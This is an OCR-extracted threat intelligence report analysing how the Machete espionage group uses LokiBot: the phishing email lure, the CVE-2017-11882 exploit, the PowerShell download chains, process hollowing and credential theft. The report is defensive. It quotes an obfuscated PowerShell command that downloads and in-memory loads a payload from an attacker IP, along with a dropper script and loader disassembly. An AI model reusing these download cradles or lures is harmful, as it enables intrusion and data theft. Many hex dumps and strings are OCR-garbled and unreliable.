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1.Executive Summary

This report contains the analysis of both Tactics, Techniques and Procedures
(TTP) and several Malware related to LokiBot, one of the weapons used by the
Machete group.

Machete is, broadly speaking, an actor dedicated to information theft and
espionage. To do so, it uses different tools, including LokiBot.

LokiBot is a Malware used in different ways, such as backdoor, credential theft or
crypto theft depending on version and who is using it, it also serves as a bridge for
execution of other malicious files. The use of this tool has also been seen by various
groups of different types such as Gorgon group.

Such Malware, is usually introduced through emails with attachments, which result
in a download, depending on versions, different executions have been seen, from
exploits of vulnerabilities, to different scripts that are intertwined with each other, the
ultimate goal, in most cases, is commonly installed in a process, the final objective, in
most cases, is usually to inject itself in a legitimate or self-initiated process to serve
as a backdoor, obtain as much information as possible from the machine and the
user and maintain communication with Command and Control (C&C) servers,
depending on the victim, this tool will be used to obtain as much data as possible or to
steal assets from the machine.

It has been one of the most used Malwares in 2022 and it is foreseen, that they will
continue to use it in the future, due to its great evasion capacity, besides having been
used in different operating systems, since it has been used to a great extent in
Android, as well as in Windows.



2.Machete

Machete is a group that currently has no associated country, but itis believed that
its origin or part of it belongs to Spanish-speaking countries. This group began
operating in 2010 and this year has had a major impact in many countries, being
particular in this area, as it attacks a large number of them, with an emphasis on Latin
America, Spain and Russia.

Being their main targets defense departments, government entities and companies
dedicated to energy and telecommunications, they gain initial access using the
social engineering distribution method, with a great eagerness for Spear-Phishing
emails, although they have also been seen exploiting vulnerabilities, once they have
gained access, the phases vary depending on the malware they use, but the main
objective is to generate persistence, open connections outside creating a secure
channel and steal information from the victim that will exfiltrate through the previously
created channel.

The chief motivation of this group is information theft and espionage, which
includes tools to steal all kinds of sensitive information from infrastructures and users,
which will be used for strategic advantages.

The main tools they have used in their journey are mostly software developed in
Python, but they have used different languages apart from this, in short, the Malwares
used by Machete to perform backdoors, perform information theft and exfiltrate
information in their attacks are the following:

e Lokibot | Loki.RAT | Loki (Backdoor, Keylogger, Stealer): Malware used by
different groups and campaigns dedicated to launch or be launched by others in
order to obtain relevant information such as browsers data, FTP and SSH
credentials, as well as email data to send everything collected to a C&C.

e Machete (Backdoor, Stealer): Proprietary Malware usually used through SFX
or RAR which will contain different tools, usually written in Python, to generate
persistence on the computer, obtain information from the network and geolocate,
then send the information to a C&C.

e Pyark (Backdoor, Stealer, Exfiltration): Malware written in Python, usually
used to create a backdoor generating persistent tasks and gaining access to
cameras, microphones, FTP, browsers, clipboards, etc. To later exfiltrate the
information.



As we mentioned before, this group has been very active this 2022, being one of its tools
LokiBot, Malware used for several areas of its attack, since certain versions fit with what
this group is looking for, to obtain data from the victims for strategic purposes. This tool
has been created to steal sensitive data such as search engine data, credentials,
clipboards, etc. In addition to having great evasion techniques.

Outside the use of groups dedicated to cyberespionage, this tool has been used to steal
cryptoassets as well, so we can see how widely useful it is, as it can be used in different
ways depending on who is going to manage it, those dedicated to financing as some
groups or campaigns do could use other versions of LokiBot to extort or steal capital
from the victims.

At this year, we have seen different variants of use of this Lokibot, used by different
groups, being a very multifaceted tool for different areas, two or three versions have
always stood out above the large number of waves that have been received, therefore,
to try to group most of these we have made the study of the versions that have been
most distributed with the aim of obtaining the maximum information of the tool and what
are its TTP, to achieve mitigate the use of this type of Malware that is usually a trend of
use.



3.Entry Vector

LokiBot is a tool that this year has been largely distributed by document
attachments, using the Spear-Phishing Attachment technique (T1566.001).

The way to reach the targets was to send fraudulent emails to get the victim from an
organization to download the attachment in order to execute the next step of the
attack.

HANKYU HANSHIN EXPRESS KOREA INC. <seaexport01@kr.hh-express.com>
Re:Copy of Shipping Documents

To undisdosed-recpients:

Message £l Draft shipping docs 08798 .x15x (229 KB)

Dear All,

Attached are copy of shipping documents=2E
Schedule as below

MAWB: 12625714592

HAWB: WZ19050025

Fls check and confirm .

Thank you & warm regards,

SU RIN PARK

At the multiple versions that have been found, have prevailed, attach a document
RTF (Rich Text Format) or DOC/XLS, as we would see in the previous image, its only
function is the download of these files to access the disk once saved on it.

As we mentioned before, we found different versions of documents such as the previous
case, an .xlsx file whose content would not be very relevant, since its only function would
be to exploit the vulnerability CVE-2017-11882 in which taking advantage of a bad use
of memory would launch malicious code using Microsoft Office Equation Editor known
as EQNEDT32. (T1203).



We would observe a launch of such a binary that would execute the embedded Malware.

Elﬂ svchost exe
Jor EQNEDT32 EXE

DRl e R L) A e W

— Content Locked,
— Please enable Editing and Content from the Yellow bar
above to view locked content.

T e e e e T g e e w0 B —

This technigue and documents have been analyzed several times before, but they would
be based on files with macros (T1137.001) or hidden functions that would execute the
code abusing the CVE or launch the file in a temporary folder.

At the RTF versions, we would find a document, once downloaded, whose content at
first glance would not give us much information. As we can see in the first image, it would
be a document of this type for the first bytes.

CQffset(h) 00 01 02 03 04 05 06 07 08 0% QA OB OC 0D OE OF Decoded tcext

Q00000000 TB 5C T2 T4 21 38 3F 2C 3D 3F BO 30 36 33 3D 3F %\rt]%?,=?°063=?
Q00000010 36 5B 3F 25 34 25 25 3B 2B SE 7C 35 AT 2L 29 34 6[?F:%FL;+7|58%)4
00000020 3E 23 TE 5F 29 3F 3B 2D 23 2B 39 32 3R 40 21 ZF »#~_) ?2;-#+92:@!/
00000030 7TE 37 3F 24 23 28 5D 29 2C 3B 3E 3F 3F 3F 32 24 ~T72%#(]1),:>»2222%
00000040 2R 34 TE 39 2F S5E 3F 3E 3F 40 34 3F 5B SE 25 32 #4~9/°7>7@47["%2
00000050 TE 2D 24 2R 38 2F 3F 30 21 30 3F 2B 3F 23 25 3F ~-§*B/20'072472%%7
00000060 2D 3F TE 35 TE 37 3F 3F 3C 25 3F S5E 23 34 3F 27 —-7~5~T722<377§47!
00000070 BO 25 5B 34 37 2C 3B ZE 3B SB 25 3B 34 2B 3B 28 °%[47,:.:[%::4+:(
00000080 38 2D 2B 37 25 37 26 SF 23 2E 5B 25 3B BO 3A 28 E-+T7%7&_#.[%:°:&


https://github.com/vc0RExor/Quick-Analysis/blob/main/SilentBuilder/SilentBuilder.md
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However, depending on versions of this type of files, we would find inside them the
use of the same exploit EQNEDT32.exe (CVE-2017-11882)

[=]1 SCAN mode selected

[#] Opening file document_568_doc
[#]1 Filesize is 23195 (Bx5a?h) Bytes
[=]1 RIF format detect

t** This file contains overlay data,. vhich is unsual for legitimate rtf-files *1?

Analysis finished!?

‘document_568.doc’ i 231925 hytes

S —— A ————— e

iindex .OLE Object

180881 EAGh .Nut a well-formed OLE

S ——

1 i88681ES6h

$ ommmm———— -
-



These RTFs would be based on containing objects that, after opening the document,
would launch, depending on the version, scripts or the previously mentioned exploit.

00001E30 20 20 20 5C 6F 62 6& 77 36 33 38 37 5C &F 62 R Yobiwe38T\obj
00001E40 &8 37 31 37 35 7B S5C 2R 5C 6F 62 6R 64 61 74 61 hT7175{\*\objdata
00001ES0 35 36 31 33 35 36 20 7B 7B 7B 7B 7B 7B 7B 7B TB 561356 {{{{{{{{{
00001E6D 7B 7B 7B 7B TB 7B 7B 7B 7B 7B 7B TE TB "B TB TB  {{{{{{{{{{{{L{{{
000D1ETD 7B 7B 7B 7B 7B 7B 5C €2 69 6E 30 20 20 20 20 20 {{{{{{\bin0
00001EE0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

00001ES0 20 20 20 20 20 7B 5C ZA 5C &F &2 6A 64 &l T4 &l {\*\objdata
Q00001EAD 35 36 31 33 35 36 20 20 20 20 20 20 20 20 20 20 561356

00001EBD 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

00001ECO 7D 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 1}

Q00001EDD 20 20 20 20 20 20 20 20 20 20 20 5C 70 &% &3 70 ‘\picp
Q0001EED 72 &F 70 36 37 37 33 33 39 31 3% 31 20 20 20 20 ropbk773391%91
00001EFD 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

00001F00 20 20 20 20 20 20 6D 66 37 76 €8 66 38 33 32 &7 mE7Tvhif832g
00001F10 3% TR 51 46 66 38 43 59 36 TR 53 €4 0B 45 57 4B 9SzQFLE8CY6z5d.EWK
Q00001F20 32 729 &7 Te 46 56 &9 35 44 55 36 €2 44 67 59 75 Z2ygvEVisiDY¥ehJgYu
00001F30 39 TR 56 6F 5A &8 6B 46 31 48 52 33 37 &7 7D 7D 9zVoZhkF1HR3T7gl}
00001F40 7D 7D 7D 70 7D 7D 7D 7D 7D 7D 7D TD 7D 7D TD TD FRRRRRRRRRRRRRRE
00001F50 7D 7D 7D 70 7D 7D 7D 7D 7D 7D 7D TD 7D OD TB TE FRRRRRRRRRRRILIL
00001Fe0 7B TB 7B TBE TB 7B 7B TE 7B 7B 7B TB TB 7B TB TB {{{{{{{{{{{{{{{{
Q0Q01F70 7B 7B 7B 7B 7B 7B 7B 7B 7B 7B 7B 7B TB 5C 2A& 5C {{{{{{{{{{0L{{ =\
00001F80 &C €2 73 74 73 74 79 6C &5 6E 61 €D &5 36 37 37 liststylename&T7
00001F90 33 33 3% 31 3% 31 7B 7D 20 20 20 20 20 20 20 20 339191{}
Q0001FAD 7B TD 20 20 20 20 20 20 20 20 20 20 20 20 20 20 {}

Q00001FB0 20 20 20 20 20 20 20 20 20 20 20 20 5C &2 89 &E \bin
00001FCO 30 5C OB 36 37 37 33 33 39 31 39 31 36 37 37 33 0O\.6T773391916773
00001FDO 33 32 31 39 31 7D 7D 7D 7D 7D 7D 7D 7D 7D TD 7D 3919133 3iRRFRiR}
00001FEQ 7D 7D 7D 7D 7D 7D 7D TD TD 7D 7D TD TD TD TD TD  FRRRRRRRiRRRiRRE
Q0001FF0O 7D 7D 7D 7D OD 5C 70 72 6F 74 &F 74 79 70 &5 37 }}}}.\prototype7



4.LokiBot

Due to the large number of LokiBot variants, we will look at the performance of different
samples to get a better understanding of all its variants seen this year, in order to get the
maximum understanding of the TTPs and achieve better mitigation.

As we mentioned earlier, the large waves of LokiBot in campaigns and the use of this
tool also in groups, leaves behind a large number of versions of the same Malware,
which, in essence, have a similar operation between them. Grouping all the versions
together, we would obtain two that would represent the majority seen this year

2022.

The summary of both variants is as follows:

Version 1

After downloading and executing the document, a download or execution of
malicious scripts will be performed

Subsequently, if it were a variant in which the next step is downloaded, | would
perform this using a wget after a powershell or cmd by dumping it to a script
(Usually using the name Done.vbs, although other variants have been seen) but
It would directly execute a Wscript or Cscript.

Later, we would see the execution of a new explorer.exe launching the script,
in the case of a download, and if not, the execution of Wscript or Cscript of a
script

Afterwards, it would perform again a powershell execution to launch another
obfuscated script that would end up in the injection of code to a legitimate
software (using AppLaunch or InstallUtil among others).

After this, we would have LokiBot inside a legitimate process where it would
start the tasks of this Malware

Version 2

After downloading and executing the document, an EQNEDT32 operation will
be performed.

Afterwards, files will be created in temporary folders (Temp | Public |
ProgramData) usually using the name vbc.exe, although other names have been
seen

It will create other files in temporary folders, on which it will rely later and will
serve as auxiliary files

From the created files, an injection will be performed in one of them after an
execution in a suspended state, in which it will obtain code from the auxiliary
files and will introduce it in the memory of this process



o After this injection we will have LokiBot inside a malicious process created by
aloader.

Both variants have small variations, in which sometimes they rely on installers or
introduce some additional step or omit another, but the vast majority have a similar
thread of execution and their goal is usually to inject LokiBot in a process, whether
legitimate or not, to operate with a greater stealth.

A general summary of how the vast majority of infections by this Malware would work
is as follows:

Version 1 Version 2
B
Spear-Phishing
Mail
n Fb-
RTF I—I
RTF docs using XLisf,-:gOc
. embedded obj Macros |
Version Functions
2 N 11111
l_: - Iy Run ] 2
= C OR % Download E 2
EQNEDT32  wscript using a script ot
exploit ? ° i Sxplolt

10

Injects over AppLaunch

) I I_—=j RUN
Run script downloaded Malicious
using powershell or files
explorer creation on
temp folder

Download | Run

S

&

Wscript | Cscript runs dlfil: i:t
obfuscated script terr:p ;I;Ider

)

Executes obfuscated
seript

b

or InstallUtil

4

Injects over the same file
launched before



4.1. LokiBot: Version 1

At first version of this LokiBot, we will talk about a version that bases the entire thread
of execution on the use of scripts to reach its target, these files will be obfuscated in
different ways to hinder or prevent the analysis, at all times the obfuscated version and
the result of the obfuscation will be shown.

After executing the document as a Wscript.exe or Cscript.exe, a Powershell.exe is
launched (T1059.001) obfuscated that will look for a download to an IP or domain, in
this address are often used extensions .mp4, .png, .jpg, and so on. Which in any case
are not these formats, they are usually binary or other scripts.

"C:\Windows\System32\WindowsPowerShell\w1.0\powershell.exe" -command $iUgm =
"WwBCAHKAJABIAFSAXQBAACAAJABEAEWATAAJADOAIABHAFMAeQBzZAHQAZQBIAC4AQWBVAGAAdgBIAHIADABIA
DoAOgBGAHIAbWBIAEIAY QBzAGRIZKANgAOAFMAdABYAGKAbgBNACgAKABOAGIRIKIKAAWALAEBAYgBgAGIKIKIKA
YWBOACAATgBIAHQALgBXAGIRRIZAYgBDAGWAaQBIAGAAdAAPACAARABVAHCAbyBSAGBAY QBKAFMAAABYAGKAD
gBnACgAIWBOAHQAJABWADOALWAVADIAMAAUADEAMAAZACAAMyAZADIALgAOACBAZ ABSAGWALWBUAGBACWBOA
GEACgBOAHTRIZXIKACAAUAGOACAADACCAKQAPADSAWWBTAHKACWBOAGIKZIKABQAUAEEACABWAEQABWBIAGEAaQ
BuAFOAOgABAEMAIQBYAHIAZQBUAHQARABVAGOAY QBpAGAALgBMAGSBAY QBKACQgAJABEAEWATAAPACAARWBIAH
QAVABSAHAAZQADACCAZABKAHMAYWBMAEKAdgBXAGCAVWAUAEgAbWBOAFKADABEAFIATWBMAFAAJWAPACAARW
BIAHQATQBIAHQAaABVAGQAKAANAFIAJQBUACCAKQAUAEKAbgB2AG8AawBIACgAJABUAHIR KK ADABSACWAIABDA...

[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object

Net.WebClient).DownloadString( "http://20.106.232.4/d11/nostartup.mpd’));

[System.AppDomain]: :CurrentDomain.Load ($DLL) .GetType( 'ddscfIvgg.HoNY1IDROLP').GetMethod( 'Run').Invoke($null, [object[]]
("txt.kjeggsd/171.81.331.591//:ptth"))

Once downloaded it will invoke the execution of the downloaded file to launch a second
obfuscated script, depending on versions, it will invoke an explorer.exe (T1218) that
will launch a script (usually .vbs) left in temporary folders or, it will launch again another
powershell.exe directly to execute the contents of the script.

In both cases, we will see the execution of the second obfuscated script (T1027) with
huge size.

We are going to look at this second part more carefully as it performs several interesting
moves, first of all we see that initially it is going to re-invoke another file from another
IP or address.

11



WgMQ = [System.Convert]::FromBase64String( $pICwv );

$pICwv = 'XmtIUbZgQeck';[Byte[]] $HW
[ ad ($HWGMQ) . GetType( 'ddscfIvggW.HoNY1DROLP').GetMethod( ‘Run’).Invoke($null, [object[]]

ppDomain]: :Cur
dfg/171.81.33

But, we observe that it takes special interest in the variable mtlUbZgQec that will be the
one that will launch a binary inside this obfuscated code. We can see that the initial
variable, in spite of changing its name, is trying to introduce the second part of the
obfuscated script

[$pIcwv = '%mtIUngQec%1;[Byte[]]|$chHQ = [System.Convert]::FromBase6dString( $pICuv );
:Systaw.AppDonain]::CLr"entDcwaid.Lcad(SHHqMQ).GetType('cdschvch.HcNYlDROLP').GetHathod{'Rur').Invoke(Snull, [object[]]
("txt.ddddfg/171.81.231.591// :ptth"))

This second part is a binary, after deobfuscation we get a file, which as we can see will
load it:

$pICwv = 'ZmtIUbZgQecXk']; [S)'ta[]][iHl‘.‘c'lQ = [System.Convert]::FromBase64String( $pICwv );
[System.AppDomain]: :CurrentDomair|. Load ($HWgMQ)|. GetType( ddscfIvggW.HoNY1DROLP').GetMethod( 'Run").Invoke($null, [object[]]
("txt.ddddfg/171.81.331.591//:pttl’))

MZ..evvennnn FVeeivnnnnnn Beeree et a e 2., It .LI!This program cannot be run in DOS mode.

When extracting the binary, observing that we have found the typical header of a
Portable Executable (PE), we find a file written in .NET that pretends another
download to another address to perform a deobfuscation (T1140), this time, by through
of the binary

LABWIK)

("fdp.epmur/epmur/4 ptth™));

(LABWIK) ) 3

12



Keeping this address in focus for a few days, we observe that the attacker updates the
files, as they are constantly blocked by the companies

&« = (O (@ Notsecure | 20.106.232.4/rumpe/

Index of /rumpe

Name Last modified Size Description

a Parent Directory -
rumpe pdf 2022-04-13 22:04 76K

Apache/2.4.32 (Windd) OpenSSL/1. 1. Im PHP/7.4.28 Server at 20.106.232.4 Part 80
&« > ( @ MNotsecure | 20.106.232.4/rumpe/

Index of /rumpe

Name Last modified Size Description

a Parent Directory; -

dimas txt 2022-05-13 14:55 104K
newrumpe pdf  2022-05-12 22:01 103K
rumpe pdf 2022-04-13 22:04 76K

Apache2.4.32 (Winb64) OpenSSL/1.1. Im PHP/7.4.28 Server at 20.106.232.4 Port 80

If we look at any of the files, it would be, in all cases, more obfuscated code, which would
be updated every few days by the attacker

E 20.106.

&« C @ Mot secure | 20.106.232.4/rumpe/t

Afrumpe/dimas.txt X +

25— &M~ 5- CAT-BR | A- 5 mER) B (B TmAE) - TA™EE | A- T ET-AR | G- E™-AE) B CE™-ER] A- 5™ ndr | E- ‘A dr) 4- ET-EE| 4- CE™-aw) A E™adw ! &- ™) A
R R ot S S S P Py T “&ode | 4= CATadw| A7 bw] A=A

5-famade) A AmAE A CAmadwl - A LI R L R R ST

~&mE | 4-TE"-AE 8- TF

8
PP P, a-‘alzaa-ane:ﬁ—'""""
R R S o ﬂém}é—‘é“ﬂém:é—'a""—-ém'a— R e S ot I A L i S

-8 5

") =G| - 7| A A S -
g™ ~am E a aam &- a HE@ B-TE™ aam E fE™-Bx
fE™-EE a ‘& ﬂam‘a— El

S b ! -
™aice! 8- CB™-d! f- (E™Be! A- CE™~dc ! A | B CA™

R ko et ot It ot

ane' &

e
LR a
-‘aaa a— e B L B é' —dE| 8- a™-5m| E- (™A@, 8- CFT-AE| B-TE™-EE | A

‘ ™A E- 8 aam‘é—‘é"-éoe,é—'é"“aé-

[

&) 5— a

Eﬂama a

a-‘a™-de|a-CA™-5m E- ﬂﬂEEEE a
o g 5- &A™

qama a-aneaa ™8| - TB™-Fe| 5-F

|
S| 8- "&™-8E) & & ﬁaoe a-'a aam:éf‘é"ﬁam:éf‘a —&E| 4-TE™-de | & T4 8- e ﬁaae - aac&}é & ~EE) 4 & 8¢ 8- &8k 8- 88k, 8- T8 A

Once the binary performs the download, we get another file with a fake .pdf extension
(T1036) that uses a symbol-based obfuscation, in the multiple versions found on the
server, leading to the same result with different obfuscations

Ejmmpe.pdfﬂl
| - T F-EX- T TXEX T TR X EEEEETE T X TX- TF- X TX- R X X EF R ¥
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After deobfuscation based on the binary, since it contains the operation of how to reverse
the obfuscation of the strings, we replicate them by taking advantage of the reversing
of the code.

Once again, we obtain another file, which repeatedly uses different techniques to hide
its code, in which we find the MZ header (PE):

Input

lines: 1

& AN AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AL AAAAAAAL

VAAALAAAALALAAALAAALALAALALALAALALALALAAALALALAL

A TP P PR B B B A BT D B B Dy A By B B A G A B B A A

VAAALAAAALALAAALAAALALAALALALAALALALALAAALALALAL ALALALAAALAAALALLALAL

A S B LA T B P2 Py B AP B B T T Dy B D D g B B A A A B A B 2 LA B A B PR B A A BB A AR DD BB A B A A

AAAAAALAAAAANANDARAAANSSNDARDAANASNDARA AN AN AARDASABASDASLD DR A LALLM A AL B A AALAALANAANALAADASAA DA NS AAR AR AAS AN S ADA DD

AAAAAAAAAAAAAAAAAAAAASARAAAAALAAAAAAAAAAALAA #1 8 + gL AA+D A +UAA+MA +4CA +XxAAMA+AGA +VBQa A +MHA +YBQZ A +YF A 424+
Qed+wGa +iB0bA+UGA +ZBUCA4EEA+BEAA+CA4DALANHM A +AC A+ A 4L 204D 2402 +0MBAAA+UBWD A +kGA +ZBgc A +UGA + 1B A +d
A4+MGA+1BA+Z 443G+ yBA+UA+EAA+TIAA+NQAAALA4 R A +QE D 4+0BQ0A +UGA +MEWZ 4 4UF & +BBwV A ALMAAA+QZ 4 +0G% +hBgT 4 +0H

time: 22ms
Output engeh: 26112 a I_l:l o3| i=

175

T S S e @..@.reloc....... ....... T - O - DA Bl.o..... Hovvnnn.
DB rnnannn. e e

This binary has been detected by a large number of engines for quite some time, so we
understand that what varies most in its modus operandi are the initial phases, these
being more repetitive compared to the final phases, which is quite common since the
complexity of modifying or creating another injector is always more complicated than that
of obfuscating strings or creating scripts.

39 (1) 39 security vendors and no sandboxes flagged this file as malicious

ffaa161d5fcdd37fd7a93b945d6e1ec63576761f009b62b311ae1da885665856 25.50 KB 2022-05-13 19:12:08 UTC
WAUgLeARDG dil
assembly  pedil

Seore
DETECTION DETAILS BEHAVIOR COMMUNITY

Security Vendors' Analysis

Ad-Aware (D) Gen:Variant MSILHeracles 35441 AhnLab-V3 () DropperWin.Generic C4788212
Alibaba (D) TrojanMSIL/Injector.848d1c5a ALYac (1) GenVariant MSILHeracles 35441
Avast (D) MSIL:Injector-OL [Tri] AVG (D MSILInjector-OL [Trj

Avira (no cloud) (D) TR/DropperMSIL.Gen BitDefender (D GenVariant MSILHeracles 35441
ClamAv (©) Win.Packed.Trojanx-9818175-0 CrowdStrike Falcon (O Winmalicious_confidence_90% (W)
Cylance (D) unsafe Cynet @ Malicious (score: 99)

Cyren (D) W32IMSIL_Injector WL gen|Eldorado DrWWeb (@) TrojanInjectNET 14

This file is another .NET that will do the task of injecting code into another process
(T1055), usually AppLaunch.exe or InstallUtil.exe, although it can use any binary
related to .NET, once injected, we would have the LokiBot inside a legitimate process
of which neither the operating system nor a user would find an execution out of the
ordinary. The injection usually comes after a Process Hollowing (T1055.012), a

technique focused on removing bytes from a memory space to later reserve that space
to host the malicious code.

14



To do this, it will suspend the process that, we can see that the binary has the
capacity to unmapping for the subsequent reservation of space in memory and
writing in this to later relaunch the process.

Once injected into the legitimate process, LokiBot will, depending on the version of
the payload, obtain information about the computer, users, browsers, among
others.

15



4.2. LokiBot: Version 2

At the second version of this LokiBot, we will talk about the Malware that will base the
whole execution thread on the use of different binaries to reach its target, these
files will be launched in different folders to favor evasion.

After executing the document, we will get an EQNEDT32 exploiting the CVE-2017-
11882 which will launch a binary in a temporary folder, in our case Public.

Our version contains a variant in which they have introduced an installer above the main
execution (T1036), the execution thread will be the same, as we said, there are many
variants, but the core is static.

[ Exeinfo PE - ver.0.0.53 by AS.L - 1031+71 sign 2018.09.25 o @[3
File : | vbc.bin P a
Entry Point : 000034F7 00 EP Section & . text = utl

File Offset: 000028F7 FirstBytes : 55.88.EC.81.EC
Linker Info :  6.00 SubSystem : \Vindows GUI K-
File Size:  00025896h (4] overday:  0o01csss —~
Image is 32bit executable RES/OVL:1/76% 2021

Generic check : Installer Nullsoft PiMP Stub / v.3.08 - http://nsis.sourc | gcan /t] [ Rip l
Lamer Info - Help Hint - Unpack info

try : 7zip to view files - www.7-zip.org or Total Commander + plugin - I @ @

R

We extract all the data from the file launched in the temporary folder and we obtain a
script of usual execution in Nullsoft, which, roughly speaking, indicates which are the
folders where it will save and execute the auxiliary files that will be used later.

(T1074.001)

EFunction .onGUIInit
InitPluginaDir
; Call Initialize Plugins
: SetDetailsPrint lastused
SetOutPath
File 726ulifsdimféjinxéqg
File wgpsnxs
File svgsnex.exe
ExecWait "&IN: \svgsnex.exe SIN: \wgpsnxs"
Abort
Nop
Fop
CreateDirectory " \protein engineerin
Rename \Mandan\orbit.dif " T \m txt" ; "$INSTDIR\Mandan\orbit.dif->$§INSTDIR\mattress pad\crewman.txt"™
Push kfdolccstopt
FindNext
Exec \Battambang\Moldova\mail .png
Exch

; ShowWindow SHWNDPARENT £{5W_SHOW
BringToFront
Exch

i Push $2

; Exch

; Pop $2

16



For practical purposes, we would see how a file svgsnex.exe is executed, whose name
will be different in each version and after the common name used by this Malware,
vbc.exe, however, this is also susceptible to change, although it is quite common to find

It
[m 7 swgsnex.exe
Image File
Version: nfa
Build Time: Fri Apr 22 14:09:21 2022
Path:
C:\Users \appData'LocaliTempisvgsnex.exe

Command line:

As we saw in the nullsoft script, it launches different files in a different temporary
folder %temp% that will serve later as auxiliary files, internally, they are data used for
subsequent injection

| . v Computer » Local Disk (C:) » Users » b AppData » Local » Temp »

ew Include in library = Share with « Mew folder
- Mame Date mc-:l.ifiecl Type Size
orites
esktop || 726ulifsdimfsjndbq File 104 KB
e | wgpsnxs File 5KB
Esvgsnax.exe 2h6 B\Createﬁlel"-!'lapping MWindows ' SysWOWEL \en-USYodbeint dil.mui
' svgsnex exe 2h6 B\Quer:.rStandardlrrfurrnatiunHIe SWindows ' SysWOWEL \ven-U S odbeint dil.mui
-'svgsnex exe 256 EKCreateﬁleMapping MWindows SysWOWEL \en-U S odbeint dil mui
B ' SVOsneK exe 856 % ReadFile AWindows' SwsWOWES an- Shodbeint dil mu

B-' svgsnex.exe
B svgsnex.exe
B gvgsnex.exe
B svgsnex.exe

856 E\QuewNamelrrfarmatianFlle
856 ShCreateFile

2h6 BﬁuewStandardlrrfurmatiunHIe
856 ok ReadFile

Mlsers' o “AppData'Local' Temp \svgsnex exe
MUsers e AppDatat Local\ Temp wapsrxs
“sers” “WAppDatatLocal\ Temp wopsris
Msers's MO Z0MAppDatatLocal\ Temp wapsrxs

B 'svgsnex.exe

U5E & Load Image

SWindows \SysWOVWES \shiwapi dll

B-' svgsnex.exe
B-' svgsnex.exe

856 =hCreateFie
2h6 B\QuewStandardlrrfurmatiunHIe

“sers® e AppDatatLocal Temp® F26ulfsdimf Giroceg
“Users s AppDatatLocal Temp*. 7 26ulfsdimf Gjroég

odooondoooohoon

B svgsnex.exe 2h6 Bﬂeadﬁle “sers® WAppDatatLocal\ Temp".726ulfsdimf Greceg
&' svgsnex.exe 256 E:]uCloseHIe Msers® WAppDatatLocal\ Temp.726ulfsdimf Gjrocbg
B-'sygsnex.exe gob =hlreatetile Allsers® JSpplatatLocalh Temphsvgsnex exe
B svgsnex.exe 256 Eﬂ\&'eateﬁlel"ﬂapping Mlsers AppDatatLocal\Temptsvosnex exe
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Analyzing the file, we find the main function, which shows us that it will be performing a
loop.

In this function we observe that it will manipulate, check files and reserve memory spaces

push a@ ; hTemplateFile

push 8@h 3 dwFlagsAndAttributes
push 3 ; dwClreationDisposition
push @ 3 lpSecurityAttributes
push 1 3 dwShareMode

push 5ea80888h ; dwDesiredfccess

mov eax, [ebp+lpCmdLline]

push eax ; lpFileName

call ds:CreateFilel

mov [ebp+hFile], eax

push @ ; 1pFileSizeHigh

mov ecx, [ebpt+hFile]

push ecx ; hFile

call ds:GetFileSize

mov [ebp+dwsize], eax

push 48h ; TlProtect

push 38e8h ; TlallocationType

mov edx, [ebptdwSize]

push edx ; dwSize

push @ ; lpAddress

call ds:VirtualAlloc

With these memory spaces, we see that it will later buffer data that will be introduced
during execution in the memory of a process or a thread, as we said, it will be a loop
so it will be rescuing information from its own memory and auxiliary files for subsequent
steps

18



mowv ecx, [ebp+lpBuffer]
add ecx, [ebp+var_4]
movzx  edx, byte ptr [ecx]
sub edx, B4ATh

mov eax, [ebp+lpBuffer]
add eax, [ebptvar_4]
mov [eax], dl

mov ecx, [ebptlpBuffer]
add ecx, [ebptvar_4]
mav dl, [ecx]

sub dl, 1

mowv eax, [ebp+lpBuffer]
add eax, [ebpt+var_4]
mov [eax], dl

mowv ecx, [ebp+lpBuffer]
add ecx, [ebptvar_4]
mov dl, [ecx]

sub dl, 1

mov eax, [ebptlpBuffer]
add eax, [ebptvar_4]

This functionality is given in order to, with the data contained in this second executable,
together with the files launched in temporary folders, for practical purposes, re-launch
the same executable svgsnex.exe with additional content. This technique is normally
done by leaving the process in a suspended state and injecting the LokiBot code
(T1055.012).

Thread: 864

Class: Process

Operation: Process Create

Result: SUCCESS

Path: C:\Users), \AppDataLocaliTemplsvasnex.exe

Duration: 0.0000000

PID: 29638

Command line: C:\Users | \AppDataiLocal\Templsvgsnex. exe C\Jsers] \AppData\Local\Tempwapsnxs

During the process, we will also see that for security reasons it duplicates itself in a
different temporary folder Roaming in hidden mode (T1564.001) performing an
evasion of defenses

v Computer b Local Disk (C:) » Users » » AppData » Roaming » ABD20E

Open Share with = Mew folder
MName Date modified Type Size

E493ED.exe Application 66 KB

As mentioned above, it is based on different evasion techniques and tries not to be
recognized by using different names and locations (T1074.001)
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pestudio 8.96 - Malware Initial Assessment - www.win pestudio 8.96 - Malware Initial Assessment - www.winit

file  help file help
? ?
-] chusers' o' desktopivbcl svgsnex. exe
ail indicators (2/17) &l indicators (2/17)
M ()|
> dos-header (64 bytes) > dos-header (64 bytes)
BER dos-stub (152 bytes) B dos-stub (152 bytes)
> file-header (Apr.2022) > file-header (Apr.2022)
> optional-header (file-checksum) » optional-header (file-checksum)
= directories (3) = directories (3)
> cections (98.47%) »  sections (98.47%)
B |ibraries (2/6] = libraries (2/6)
%« | imports (33/112) 2 | imports (33/112)
L= Y
i) -
@ &
abe strings (32/730) abc strings (32/730)
: :
[ [

What this Malware will achieve is, instead of taking advantage of a binary of the system
or legitimate that it can use, as in the first version, to use the same executable to inject
itself (since it will relaunch itself) code of the LokiBot, in this way, we will see that the
actions of backdoor and stealer, will be performed by itself after the injection.
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4.3. LokiBot: Malware in depth

Once we have LokiBot injected into a process, legitimate or not, this Malware will
perform different functions depending on who the victim is, the planned targets and the
Malware versions being used.

An outline of the main functions it usually performs is as follows:

X

Mail credentials steale

. PuTTY | KiTTY sesion
via RegKey

information stealed via

RegKey
\- "@
. . VM & Sandbox
Browser information LokiBot detection

stealed via Files

FTP login information
stealed via RegKey

As we have seen in the previous versions, one thing is clear, LokiBot is injected into a
process, this event makes it more difficult to analyze the final payload, which would
be where the Malware definitely operates from.

We observed in a sample the injection performed to the process and we observed that
the process of version 2, would indeed be injected and with the protection of the
Windows page in EXECUTE_READWRITE

H:xAAABAANAE cf c6718 sugsnex.exe 2212 2192 AxAHBEBERATY17a2080A
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Process: sugsnex.exe Pid: 2212 Address: Bx4000008
